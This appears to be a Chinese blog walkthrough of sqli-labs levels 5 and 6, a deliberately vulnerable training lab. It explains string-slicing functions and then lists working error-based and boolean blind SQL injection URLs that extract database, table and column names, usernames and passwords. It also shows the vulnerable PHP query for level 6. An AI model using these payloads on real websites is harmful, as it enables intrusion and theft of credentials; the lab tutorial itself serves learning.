sqli-labs-master 盲注+第五关

一、基于布尔 SQL 盲注

1、构造逻辑判断

(1)sql注入截取字符串常用涵数

 在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。本文中主要列举三个函数和该函数注入过程中的一些用例。

函数:mid()  substr()   left()

mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start                必需,规定开始位置(起始为1)

length            可选,要返回的字符数,如果省略则返回剩余文本

eg:str="123456" mid(str,2,1)  结果为2

substr()

 Substr()和substring()函数实现的功能是一样的,均为截取字符串。

    string substring(string, start, length)

    string substr(string, start, length)

    参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

•基于时间的 SQL 盲注--延时注入

•基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来

第五关

报错注入:

爆数据库:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 

 爆表名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 

 爆列名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

 

 爆数据:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

爆密码时密码不全,要用截取函数截取剩下的密码

and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))

布尔注入:

判断数据库长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())>0--+

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())=8--+ 数据库有八位

 

 依次确定数据库名称组成:

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr(database(),1,1)=83)--+   s

 

 判断数据表的个数:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+

 

 判断表的长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+

 

 

 

 

 

依次确定表明:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+

确定列数:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0--+

确定烈的长度:and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 0--+

依次确定列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 79

依次确定数据:and ascii(substr((select username from users limit 0,1),1,1))>79

 

第六关:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

将第五关的单引号改为双引号

 

posted @ 2019-10-22 10:39  wizard骑士  阅读(1839)  评论(0编辑  收藏  举报